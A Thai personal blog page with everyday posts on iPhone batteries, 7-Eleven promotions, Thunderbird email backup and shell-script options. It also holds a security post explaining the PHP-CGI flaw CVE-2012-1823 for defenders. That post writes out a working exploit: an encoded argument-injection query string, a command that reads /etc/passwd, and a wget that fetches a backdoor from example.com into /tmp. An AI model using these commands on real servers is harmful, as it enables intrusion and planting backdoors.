Author: kanakorn.h

  • วิธีการ Charge iPhone ที่ถูกต้อง

    สรุป Battery ของ iPhone
    1. ใช้ Lithium-ion Batteries ซึ่งแตกต่างกับ Nickle-Base Batteries ซึ่งจะมีปัญหา memory effect ดังนั้น สามารถ Recharge ได้ ทุกครั้ง เมื่อมีโอกาส โดยไม่ต้องรอให้หมดแล้วค่อย Charge
    2. Battery ของ iPhone จะมี Charge Cycle ที่ 500 Cycles, โดยแต่ละ cycle คือ จำนวน % ที่ Charge เข้าไป เช่น ถ้าเราใช้ Battery จาก 100% เหลือ 75% หรือ หมายความว่า ใช้ไป 25% แล้ว จะ Charge ทุกครั้ง …. 1 Cycle จะเท่ากับการทำอย่างนี้ 4 รอบ … เมื่อครบ 500 Cycles แล้ว … ฺBattery ก็จะเสื่อม คือเก็บไฟล์ได้แค่ 80% และลดลงเรื่อยๆ
    3. แต่ เพื่อให้ได้ Exercise ควรใช้ให้ Battery “ใกล้” หมด เดือนละครั้ง แต่ …. ห้ามใช้จนหมด
    4. ข้อเสียของ Lithium-ion คือ พอผลิตเสร็จ ออกจากโรงงาน … มันจะเริ่มเสื่อมทันทีไม่ว่าจะใช้หรือไม่ … ดังนั้น ถ้า iPhone4 ออกมา 2 ปี แล้วไปซื้อ แม้ว่าจะเป็นมือ 1 เลย ตัว Battery ก็จะเสื่อมไปบ้างแล้ว T.T
    5. ดังนั้น การใช้ App ที่เปลือง Battery ทำให้ ต้องมีการใช้พลังงานเยอะ ตามมาด้วยการต้อง Charge บ่อยๆ ก็ยิ่งทำให้ Charge Cycle ครบ 500 cycles เร็วขึ้น และการ Charge ไป ใช้ไป อาจทำให้ Battery ร้อน แล้วระเบิดได้

    เท่าที่อ่านมา ประมาณนี้ครับ

    Reference

    http://www.apple.com/batteries/iphone.html
    http://www.apple.com/batteries/
    http://electronics.howstuffworks.com/everyday-tech/lithium-ion-battery.htm
    http://boards.straightdope.com/sdmb/showthread.php?t=475998

  • 7-Eleven Survival #2

    ต่อจาก 7-Eleven Survival #1 ซึ่งเป็นเทคนิคการใช้งานโปรโมชั่นให้เกิดประโยชน์สูงสุด ประจำเดือน มีนาคม 2557

    หลังจากใช้งานจริง พบว่า เราสามารถ ใช้โปรโมชั่นซ้อนโปรโมชั่นได้อีกด้วย !!! ประหยัดเพิ่ม แถม มีเงินเก็บในบัตรเพิ่มด้วย คุ้มป่ะล่ะ !

    เติมเงินในบัตร 250 บาท และซื้อของผ่านบัตร 7-Card ทั้งหมด

    จันทร์
    ซื้อโปรฯ จับคู่อิ่ม : บิ๊กเบา (17 บาท) + นมเปรี้ยว (จาก 20 เหลือ 10 บาท)และ กาแฟแก้ว S ราคา 14 บาท

    รวมจ่าย = 17+10+14 = 41 บาท
    ได้ สิทธิ์แลกซื้อสุดคุ้ม 1 สิทธิ์ (เก็บใบเสร็จไว้ใช้)
    ได้แต้ม = 40/2 =20 แต้ม
    รวมประหยัด 10 บาท

    อังคาร
    ทำเหมือนวันจันทร์
    รวมจ่าย = 17+10+14 = 41 บาท
    ได้ สิทธิ์แลกซื้อสุดคุ้ม 1 สิทธิ์ (เก็บใบเสร็จไว้ใช้)
    ได้แต้ม = 40/2 =20 แต้ม
    รวมประหยัด 10 บาท

     

    พุธ
    ใช้ใบเสร็จไปใช้สิทธิ์และซื้อสุดคุ้ม ซื้อ กาแฟแก้ว M จากราคา 18 บาท ในราคาเพียง 10 บาท

    ใช้ใบเสร็จไปใช้สิทธิ์และซื้อสุดคุ้ม ซื้อ เกี๊ยวหมู CP จากราคา 27 บาท ในราคา 20 บาท

    รวมจ่าย 30 บาท
    ได้แต้ม = 30/2 + 50 = 65 แต้ม
    รวมประหยัด = 8 + 7 = 15 บาท

    พฤหัส
    ทำเหมือนวันจันทร์
    รวมจ่าย = 17+10+14 = 41 บาท
    ได้ สิทธิ์แลกซื้อสุดคุ้ม 1 สิทธิ์ (เก็บใบเสร็จไว้ใช้)
    ได้แต้ม = 40/2 =20 แต้ม
    รวมประหยัด 10 บาท

    ศูกร์
    ทำเหมือนวันจันทร์
    รวมจ่าย = 17+10+14 = 41 บาท
    ได้ สิทธิ์แลกซื้อสุดคุ้ม 1 สิทธิ์ (เก็บใบเสร็จไว้ใช้)
    ได้แต้ม = 40/2 =20 แต้ม
    รวมประหยัด 10 บาท

    สรุป
    จันทร์ – ศูกร์ จ่ายเงินไป = 41 + 41 + 30 + 41 + 41 = 194 บาท
    ได้แต้ม = 20 + 20 + 65 + 20 + 20 = 145 แต้ม
    รวมประหยัดไป = 10 + 10 + 15 + 10 + 10 = 55 บาท
    เหลือตังค์ในบัตร 250 – 194 = 56 บาท
    ได้ สิทธิ์แลกซื้อสุดค้ม 2 สิทธิ์

    ดังนั้น ถ้าทั้งเดือน ทำงาน 4 สัปดาห์ เติมเงิน สัปดาห์ละ 250 บาท ก็เป็นเงินในบัตร 1000 บาท
    ทำอย่างนี้ ก็จะ
    จ่ายเงินไป = 194 x 4 = 776 บาท
    ได้แต้ม = 145 x 4 = 580 แต้ม (คิดเป็นเงินสด = 11 บาท)
    รวมประหยัด =  55 x 4 = 220 บาท
    เหลือเงินในบัตร = 224 บาท

    อิอิ

    ลองดูนะครับ 😉

  • 7-Eleven Survival #1

    แนะนำเทคนิค การใช้ 7-Eleven ให้ได้ประโยชน์สูงสุด ประจำเดือน มีนาคม 2557

    ในฐานะที่เป็น ลูกจ้างรายวัน ของคุณนาย ได้ค่าจ้างวันละ 100 บาทให้มาทำงาน (เช้า + เที่ยง) จึงขอเสนอเรื่อง การใช้โปรโมชั่น เพื่อประหยัดตังค์สุดๆ

     โจทย์

    ต้องการกินกาแฟ กับอาหารเช้า ทุกวันทำงาน และน่าจะมีนมเปรี้ยวไว้กินบ้าง

     สิ่งที่ต้องมี/ต้องทราบ ก่อน

    1. ไปซื้อบัตร 7-Card ราคา 190 บาท ซึ่งเป็นการจ่ายไปฟรีๆ บัตรมีอายุ 3 ปี เมื่อหมดอายุแล้ว เอาไปต่อบัตรใหม่ จะได้ส่วนลด 50 บาท คือ จะจ่ายค่าบัตรใหม่ 140 บาท
    2. เติมเงินครั้งละขั้นต่ำ 50 บาท เติมได้ที่ 7-Eleven
    3. ทุกครั้งที่ซื้อของ โดยจ่ายด้วยมูลค่าในบัตร 10 บาท จะได้ 5 แต้ม
    4. แต้ม 50 แต้ม มีมูลค่า 1 บาท

    สมมุติ ได้บัตรมาแล้ว เติมเงิน 250 บาทไว้

    วิธีการดังนี้

    1. โปรโมชั่น เดือน มีนาคม 2557 มี 3 รูปแบบ
    1.1 แลกซื้อสุดคุ้ม: ซื้อของทุก 40 บาท ได้ 1 สิทธิ์ ที่จะซื้อของเหล่านี้ ซึ่งจะได้ส่วนลดประมาณ 1-15 บาท

    http://www.7eleven.co.th/download/promotionFile16_7-Corp_0314_pdf.pdf

    ตัวอย่างเช่น ซื้อของ 40 บาท จะซื้อ ใส้กรอกฟุตลองแฟรงค์เฟิร์ตไก่ จากราคา 27 บาท ได้ในราคา 20 บาท แถมได้แต้มในบัตร 50 แต้ม (จ่ายเงินไป 20 บาท ได้แต้มเพิ่ม 50 + 2 แต้ม) อะไรทำนองนั้น

    IMG_1433.JPG

     1.2 จับคู่อิ่ม: เขาจะคิดมาว่า ซื้อของกินอย่างนึง จะสามารถเพิ่มเงินแค่ 5, 10 บาท ก็จะได้ของกินเพิ่มอีกอย่างนึง ซึ่งจะประหยัดไปได้ประมาณ 4-10 บาท

    http://www.7eleven.co.th/download/promotionFile12_Combo_0314_pdf.pdf

     ตัวอย่างเช่น ซื้อ บิ๊กเปา 17 บาท เพิ่มเงิน 10 บาท รวมเป็นเงิน 27 บาท จะได้ ชาเย็นแก้วเล็ก 12 Oz. (เรียกว่า ชาเย็นจากราคา 14 บาท ซื้อได้ในราคา 10 บาท ประมาณนั้น)

    1.3 รับแต้มพิเศษ อันนี้สำคัญ เพราะเราจะได้แต้มพิเศษมา โดยจะสามารถเอาไปใช้แทนเงินสด ซื้ออะไรก็ได้ตามใจชอบ กล่าวคือ เขาจะมีของที่จะให้แต้มพิเศษ สะสมในบัตร

    http://www.7eleven.co.th/download/promotionFile2_7-Card_0314_point_pdf.pdf

    ตัวอย่างเช่น ซื้อกาแฟเย็นแก้วใหญ่ 24 บาท จะได้แต้มพิเศษ 300 แต้ม ซึ่งคิดเป็นเงิน 6 บาท ถ้าคิดง่ายๆ เท่ากัย ซื้อ 4 แก้ว พอจะซื้อแก้วที่ 5 ก็เอาแต้ม 300 x 4 =1200 แต้ม ซึ่งเท่ากับ 1,200/50 = 24 บาท ไปใช้แทนเงินสด ก็คือได้แก้วที่ 5 โดยไม่ต้องจ่ายตังค์ เอาแต้มไปแลกแทน หรือ จะเอานมเปรี้ยว 2 ขวดเป็นเงิน 24 บาท จะได้แต้มพิเศษ 400 แต้ม คิดเป็นเงิน 8 บาท คิดซะว่าซื้อไว้ 2 ขวด กินวันนี้ 1 ขวด พรุ่งนี้ 1 ขวด วันถัดไปก็ไปซื้อเอาแต้มอีก … ทำอย่างนี้ 3 รอบ จะได้แต้ม 400 x 3 = 1,200 แต้ม พอรอบที่ 4 ก็เอาแต้ม 1,200 ไปแลกซื้อแทนเงินสด 24 บาท ก็จะได้ ชุดถัดไปมากินฟรี ประมาณนั้น

    คราวนี้ดูว่า จะประหยัดได้เท่าไหร่ (อันนี้ทำจริงๆนะ)

    Solution #1

    จันทร์
    ซื้อ (กาแฟ L + นมเปรี้ยวx2 ) = 24 + 24 = 48 บาท
    ได้ แต้ม = 300 + 400 + (40/2)= 720 แต้ม และ ได้ สิทธิ์แลกซื้อสุดคุ้ม
    เอาใบเสร็จ ใช้สิทธิ์แลกซื้อ ใส้กรอกฟุตลองแฟรงค์เฟิร์ตไก่ ในราคา 20 บาท แถมแต้ม 50 + (20/2) = 60 แต้ม
    รวม จ่ายเงิน 48 + 20 = 68 บาท ได้แต้ม 720 + 60 = 780 แต้ม (คิดเป็นเงิน 780/50 = 15 บาท) และ ได้ส่วนลดค่าใส้กรอก 7 บาท

    อังคาร
    ซื้อ (กาแฟ L + บิ๊กเปา) = 24 + 17 = 41 บาท
    ได้ แต้ม = 300 + (40/2) = 320 แต้ม และได้  ได้ สิทธิ์แลกซื้อสุดคุ้ม เก็บไว้ใช้ครั้งต่อไป
    รวม จ่าย 41 บาท

    พุธ
    ซื้อ (กาแฟ L + นมเปรี้ยวx2 ) = 24 + 24 = 48 บาท
    ได้ แต้ม = 300 + 400 + (40/2)= 720 แต้ม และ ได้ สิทธิ์แลกซื้อสุดคุ้ม (เก็บไว้ใช้)
    เอาใบเสร็จ ใช้สิทธิ์แลกซื้อของวันอังคาร ซื้อเกี๊ยวหมู CP ในราคา 20 บาท แถมแต้ม 50 + (20/2) = 60 แต้ม
    รวม จ่ายเงิน 48 + 20 = 68 บาท ได้แต้ม 720 + 60 = 780 แต้ม (คิดเป็นเงิน 780/50 = 15 บาท) และ ได้ส่วนลดค่าเกี๊ยวหมู CP 7 บาท

    พฤหัส
    ซื้อ (กาแฟ L + นมเปรี้ยวx2 ) = 24 + 24 = 48 บาท
    ได้ แต้ม = 300 + 400 + (40/2)= 720 แต้ม และ ได้ สิทธิ์แลกซื้อสุดคุ้ม (เก็บไว้ใช้)
    เอาใบเสร็จ ใช้สิทธิ์แลกซื้อของวันพุธ ซื้อแซนวิชปูอัดอลาสก้า ในราคา 20 บาท แถมแต้ม 50 + (20/2) = 60  แต้ม
    รวม จ่ายเงิน 48 + 20 = 68 บาท ได้แต้ม 720 + 60 = 780 แต้ม (คิดเป็นเงิน 780/50 = 15 บาท) และ ได้ส่วนลดค่าแซนวิชปูอัดอลาสก้า 6 บาท

    ตอนนี้ จะมีแต้มในบัตร = 780 + 320 + 780 + 780 = 2,660 แต้ม

     ศุกร์
    ซื้อ ชุดอิ่มคุ้ม บิ๊กเปา + ชาเย็น = 27 บาท โดยใช้แต้ม 27 x 50 = 1,350 แต้ม
    จ่าย 0 บาท
    แต้มเหลือ = 2,660 – 1,350 + (20/2) = 1,320 แต้ม

    สรุป

    จันทร์ – ศูกร์ จ่ายเงินไป = 68 + 41 + 68 + 68 + 0= 245 บาท
    ประหยัดไป = 7 + 0 + 7 +6 + 27 = 47 บาท
    เหลือแต้ม 1,350 แต้ม (คิดเป็น 27 บาท)
    เหลือตังค์ในบัตร 5 บาท

     อิอิ

    ลองดูนะครับ 😉

  • วิธี Backup PSU Email ด้วย Thunderbird

    เนื่องจาก PSU Email ให้พื้นที่ปัจจุบัน 1GB ซึ่ง อาจจะไม่เพียงพอต่อความต้องการของผู้ใช้บางท่าน หรือ บางท่านต้องการสำรองข้อมูล Email เก็บไว้ในเครื่องคอมพิวเตอร์

     ซึ่งสามารถทำได้ โดยใช้งานผ่านโปรแกรม Mozilla Thunderbird เชื่อมต่อกับ PSU Email ด้วย IMAP อีกทั้ง สามารถส่ง Email ออกได้จากทั่วโลกผ่าน smtp2.psu.ac.th และ ตัวอย่างต่อไปนี้ จะสร้างพื้นที่จัดเก็บบนเครื่องคอมพิวเตอร์ ไว้ใน D:\MyBackup

    (รายละเอียดของ PSU Email สามารถอ่านได้ที่ http://www.cc.psu.ac.th/staffemail)

    มีวิธีการดังนี้

    1. Download Mozilla Thunderbird (รุ่นล่าสุด 24.3.0) จาก http://www.mozilla.org/en-US/thunderbird/

     

    คลิกที่ Thunderbird Free Download แล้ว Save File ลงเครื่อง

    2. Double Click ไฟล์ ที่ Download มา (Thunderbird Setup 24.3.0.exe)

    3. จากนั้น ใช้ Next Technology คือ Yes, Next, Next, Install และ Finish

    4. จากหน้านี้ คลิก Set as Default

     5. คลิก Skip this and use my existing email

    6. กรอกข้อมูล ให้ครบ แล้ว คลิก Continue แล้ว คลิก Manual Config

    7. กรอกข้อมูลตามนี้ แล้ว คลิก ปุ่ม Advanced Config

    8. คลิกที่ Local Folder, คลิก Browse แล้ว เลือก D:\MyBackup (แล้วแต่จะสร้าง Folder)

    9. หน้าต่างนี้ คลิก Restart

    10. ด้านขวามือ คลิกขวา ที่ Local Folders แล้ว คลิก New Folder ….

     

    11. ตั้งชื่อ PSUEmail แล้วคลิก Create Folder

     12. เมื่อต้องการ เก็บสำเนา (Copy) หรือ ย้าย (Move) จดหมายจาก INBOX ของ PSU Email มาเก็บไว้ใน Local Folders บนเครื่องคอมพิวเตอร์ของเท่าน ก็ให้ทำการเลือกจดหมายที่ต้องการ แล้ว คลิกขวา (Right Click) แล้ว เลือก Copy To หรือ Move To ไปยัง Local Folder > PSUEmail

    เท่านี้ ก็ สามารถ เก็บจดหมายที่ต้องการไว้ในเครื่องได้แล้ว และสามารถทำการ สำรอง D:\MyBackup เอาไว้ใน Handy Drive, DVD หรือ External Hard disk ได้

    13. เมื่อต้องการนำมาใช้งาน ก็เพียงแค่ Copy ลงไปในเครื่อง แล้ว ทำตามขั้นตอน ข้อ 8 และ 9 ก็จะสามารถใช้งาน Email ที่เก็บไว้ได้ ดังตัวอย่างนี้

    14. สำหรับ การใช้งาน ThunderBird ให้สามารถใช้ภาษาไทยได้อย่างถูกต้อง และเป็นสากล ต้องตั้งค่าให้ ภาษาไทยใช้ Character Encoding เป็น UTF-8 โดยคลิกที่ Menu > Options แล้ว คลิกที่ Display > Advanced แล้ว เปลี่ยน Font for เป็น Thai และ ตั้งค่า Outgoing mail, Incoming Mail เป็น UTF-8 ตามภาพ แล้วคลิก OK

    หวังว่าจะเป็นประโยชน์ครับ

  • เทคนิคการเขียน Shell Script #1

    เมื่อต้องการเขียน Shell Script เพื่อรับ Argument และ Option เช่น เขียน myscript.sh ซึ่งแบ่งเป็น 3 แบบ
    1) $ sh myscript1.sh myfirstname mylastname 16
    2) $ sh myscript2.sh -f myfirstname -l mylastname -a 16
    3) $ sh myscript3.sh –firstname myfirstname –lastname mylastname –age 16

    [บทความนี้ ใช้งานบน Ubuntu 12.04 Server และ ใช้ Bash Shell]

    1) วิธีแรก คือ การรับตัว Argument เรียงตามลำดับ โดยใช้ เครื่องหมาย $ ตามด้วยลำดับของตัวแปร เช่น $1, $2, $3 ดัง Script myscript1.sh มีรายละเอียด ต่อไปนี้

    firstname=$1
    lastname=$2
    age=$3
    echo "Firstname=$firstname"
    echo "lastname=$lastname"
    echo "age=$age"

    วิธีนี้ ข้อดีคือ สร้างง่าย แต่ ข้อเสียคือ ต้องใส่ Argument ตามลำดับเท่านั้น

    2) วิธีที่สอง คือ มีการใช้ Option แบบชื่อสั้น เช่น -f, -l ,-a โดยต้องใช้คำสั่ง getopts ดังตัวอย่าง Script myscript2.sh

    getopts "f:l:a:" opt
    while [ "$opt" != "?" ]
    do
       case $opt in
        f)
         echo "Firstname: $OPTARG"
         ;;
        l)
         echo "Lastname: $OPTARG"
         ;;
        a)
         echo "Age: $OPTARG"
         ;;
        esac
     getopts "f:l:a:" opt
    done

    อธิบายเพิ่มเติม

    • getopts "f:l:a:" opt
      คำสั่งนี้ บอกว่า getopts จะรับ Option คือ f, l และ a และ เมื่อรับมาแล้ว จะใส่ในตัวแปร opt
      ส่วนใน “f:l:a:” นั้น เป็นการกำหนด Short Option Name โดยที่ เป็นอักษรตัวเดียว และ ค่า Option ใด ไม่มี เครื่องหมาย “:” แสดงว่า ไม่ต้องการใส่ค่า
      Option ใด มี     เครื่องหมาย “:” แสดงว่า ต้องการมีการใส่ค่า
      Option ใด ไม่มี เครื่องหมาย “::” แสดงว่า จะใส่ค่า หรือไม่ใส่ค่า ก็ได้
    • while [ "$opt" != "?" ] … done
      วนลูป ทุก Options จนเจอค่า “?” จึงหยุดทำงาน
    • case $opt in … esac
      เป็นการ Switch Case ตัว Option ที่เข้ามา ระหว่าง f, l และ a ให้ทำงานตามสั่ง
    • $OPTARG
      เป็นค่าที่ให้มา ผ่าน Option นั้นๆ เช่น หากมีการสั่งงานด้วยคำสั่ง

      sh myscript2.sh -f Somchai -l Jaidee -a 16
      เมื่อลูป ค่า $opt เป็น l , ก็จะได้ค่า $OPTARG เป็น Somchai เป็นต้น

    วิธีนี้ มีข้อดีคือ ง่ายต่อการพัฒนา สามารถ สลับตำแหน่งของ Option ได้ดีกว่าวิธีแรก แต่มีข้อเสียคือ ชื่อย่อ ของ Option นั้นสั้น อาจจะทำให้ยากต่อการสื่อสาร

    3) วิธีที่สาม คือ มีการใช้งาน Option แบบชื่อยาว เช่น –firstname, –lastname, –age
    ตัวอย่าง

    if ! options=$(getopt -o f:l:a: -l firstname:,lastname:,age: -- "$@")
    then
     exit 1
    fi
    
    set -- $options
    
    while [ $# -gt 0 ]
    do
     case $1 in
       -f|--firstname) echo "Firstname: $2" ; shift 2;;
       -l|--lastname) echo "Lastname : $2"; shift 2 ;;
       -a|--age) echo "Age: $2" ; shift 2 ;;
       --) shift ; break;;
     esac
    done
    

    ทั้งนี้ สิ่งที่แตกต่างระหว่างวิธีที่ 2) และ 3) คือ การใช้งาน “getopts” นั้น จะไม่สามารถใส่ Long Options ได้ ต้องใช้ “getopt” จึงจะใช้งานได้ นอกนั้น ก็คล้ายๆกันครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13

    บทความนี้ แสดงให้เห็นการโจมตีช่องโหว่ของ PHP แบบ CGI  ทำให้สามารถ แทรกคำสั่งต่างๆไปยังเครื่องเป้าหมายได้ ดังที่ปรากฏใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 โดย PHP Version ที่ต่ำกว่า 5.3.12 และใช้แบบ php5-cgi จะมีช่องโหว่นี้

    ก่อนอื่น ขออธิบายคร่าวๆ ว่า การใช้งาน PHP นั้น มีวิธีที่นิยมใช้กัน 3 วิธี [1] ได้แก่

    1. Apache Module
    2. CGI
    3. FastCGI

    1. Apache Module (mod_apache) เป็นวิธีการที่ใช้งานอยู่กันโดยทั่วไป ได้รับความนิยม เพราะติดตั้งง่าย
    ข้อดี:
    – PHP ทำงานร่วมกับ Apache
    – เหมาะกับงานที่ใช้ PHP เยอะๆ
    ข้อเสีย:
    – ทุก Apache Process จะมีการโหลด PHP เข้าไปด้วย แสดงว่า จะใช้ Memory มากขึ้น ยิ่งมีการโหลด Module เพิ่ม ก็ยิ่งใช้ Memory เพิ่มอีก ทั้งนี้ ไม่ว่าจะเป็นการเรียก ภาพ หรืออะไรที่ไม่ใช้ PHP ก็ตาม
    – สิทธิ์ในการสร้าง/แก้ไขไฟล์ จะเป็นของ Web User เช่น Apache/httpd เป็นต้น ทำให้ มีปัญหาด้านความปลอดภัย ในกรณีใช้พื้นที่ร่วมกัน

    2. CGI เป็นวิธีการใช้ PHP Interpreter เฉพาะที่จำเป็น
    ข้อดี
    – แก้ไขปัญหาด้านความปลอดภัย ในการใช้พื้นที่ร่วมกัน เพราะสิทธิ์ในการสร้าง/แก้ไขไฟล์ จะแยกเป็นของผู้ใช้แต่ละคน ดังนั้น เมื่อเกิดการเจาะช่องโหว่ ก็จะไม่กระทบกับผู้อื่น
    – Apache Process จะทำหน้าที่เฉพาะให้บริการ HTTP แต่เมื่อต้องการใช้ PHP จึงจะไปเรียกใช้
    ข้อเสีย
    – เป็นวิธีดั้งเดิม ไม่มีประสิทธิภาพนัก, การตอบสนองช้า

    3. FastCGI เป็นการแยก Web Server กับ PHP ออกจากกัน ทำให้ การใช้งาน HTTP ที่มีต้องใช้ PHP ก็จะใช้งาน Memory น้อย แต่เมื่อต้องการใช้ PHP ก็จะส่งไปทาง Socket ทำให้สามารถกระจาย Load ไปยังเครื่องต่างๆได้
    ข้อดี
    – ให้ความปลอดภัยในการใช้พื้นี่ร่วมกัน แบบ CGI แต่ทำงานเร็วขึ้น
    – สามารถ Scalability ได้ดี
    – Apache Process ที่ไม่ใช้ PHP ก็จะใช้ Memory น้อย
    ข้อเสีย
    – การตั้งค่าค่อนข้างยุ่งยาก จะใช้ .htaccess แบบเดิมไม่ได้ แต่ต้องใช้ php.ini แยกแต่ละผู้ใช้ ทำให้ดูแลยากขึ้น

    ปัญหาอยู่ที่ว่า บาง Web Server ที่ใช้งานกันอยู่ ใช้งาน PHP แบบ Apache Module อย่างเดียว แต่ ไปติดตั้ง PHP แบบ CGI ด้วย (php5-cgi package) แล้ว อาจจะไม่ได้ตรวจสอบให้ดี จึงทำให้มีช่องโหว่ได้

    ตัวอย่างนี้ เป็น Web Server ที่ทำงานบน Ubuntu 10.04 Server + Apache 2.2.4 + PHP 5.2.17 โดย PHP Package ที่ติดตั้งไว้ สามารถดูด้วยคำสั่ง

    sudo dpkg-query -l | grep php

    ผลที่ได้คือ

    ซึ่งจะเห็นว่า มี php5-cgi รุ่น 5..2.17 ซึ่ง มีช่องโหว่ ตาม CVE-2012-1823 ซึ่งทำให้ Hacker สามารถแทรกโค๊ดเข้ามาได้

    สมมุติ Web Server เครื่องนี้ มี IP Address : 192.168.1.20

    Hacker สามารถใช้คำสั่งต่อไปนี้ ( ดัดแปลงจากตัวอย่างของ Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 [2] และ รายละเอียดของ Query String ดูจากบทความ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6)

    qstring="%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E"

    ซึ่ง qstring นี้ เมื่อถอดรหัสจากเลขฐาน 16 เป็นข้อความจะได้ว่า

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

    จากนั้น Hacker ก็ใช้คำสั่งต่อไปนี้

    echo "<?php system('cat /etc/passwd');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    ผลที่ได้คือ

    และ Hacker สามารถทำอะไรก็ได้ เช่นไปเอา Backdoor จากที่อื่นมาใส่ได้ ตัวอย่างเช่น เอามาจาก http://example.com/backdoor ไปเก็บไว้ที่ /tmp/.aaa ด้วยคำสั่งนี้

    echo "<?php system(' wget -q http://example.com/backdoor -O /tmp/.aaa');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    หากใช้คำสั่งต่อไปนี้ที่เครื่องเป้าหมาย 192.168.1.20

     ls -la /tmp

    ก็พบว่า มี Backdoor ฝังอยู่แล้ว

    ซึ่ง Hacker ก็สามารถใช้ขั้นตอนคล้ายๆกันนี้ ออกคำสั่งต่างๆได้

    ดังนั้น หากท่านไม่ได้ตั้งใจจะใช้ php5-cgi ก็แนะนำให้เอาออกไป หรือ ทำการ Upgrade ให้เป็นรุ่น 5.3.12 ก็จะปลอดภัยจากช่องโหว่นี้ครับ

    ขอให้โชคดี

    Reference

    [1] http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/

    [2] http://insecurety.net/?p=705

  • Web Hacking and Security Workshop

    บทความชุด “วิธีตรวจสอบเว็บไซต์ที่โดน Hack”

    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 : เริ่มต้นตรวจพบความผิดปรกติที่ทำให้ Web Server ล่มเป็นระยะๆ และวิธีการตรวจสอบจนพบ Backdoor
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2 : ลักษณะของ Backdoor และวิธีตรวจสอบ Backdoor
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 : ช่องโหว่ JCE Exploit และวิธีค้นหา Backdoor อื่นๆ
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 : สรุป ขั้นตอนปฏิบัติ เมื่อตรวจสอบพบว่า Website ถูก Hack
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 : แนวทางการตรวจสอบช่องโหว่ของ Website ตนเองก่อนถูก Hack, รู้จักกับ CVE, CVSS และ Website cvedetails.com
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 : รูปแบบการสร้าง Cron เพื่อให้ Hacker สามารถกลับเข้ามาได้ แม้ผู้ดูแลระบบจะลบ Backdoor ออกไปจนหมดแล้ว !
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7 : การตรวจสอบ Windows Server ที่ถูก Hack ด้วย PowerShell
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8 : รูปแบบการสร้าง Web Server Process ปลอม และการวาง Network Scanner Tools บน Web Server ที่ถูก Hack
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 : วิธีการ Hack ด้วย SQL Injection และ Cross-Site Scripting
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10 : วิธีการ Hack ด้วย Remote File Inclusion
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11 : เทคนิคการใช้ Incremental Backup เพื่อการตรวจสอบหาไฟล์แปลกปลอม และการกู้ระบบกลับมา
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12 : เทคนิคการตั้งค่า Apache Web Server เพื่อให้ปลอดภัยจากช่องโหว่
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13 : วิธีการ Hack ผ่าน PHP แบบ CGI-BIN
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #14: Heartbleed Bug
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #15 : วิธีการปิดไม่ให้ PHP ทำงานในโฟลเดอร์ที่เปิดให้เขียนได้ บน Windows Server ที่ IIS Web Server
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16: ShellShock
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #17: Backdoor ในรูปแบบ Obfuscate
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #18: Wordpress XMLRPC Vulnerable
     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

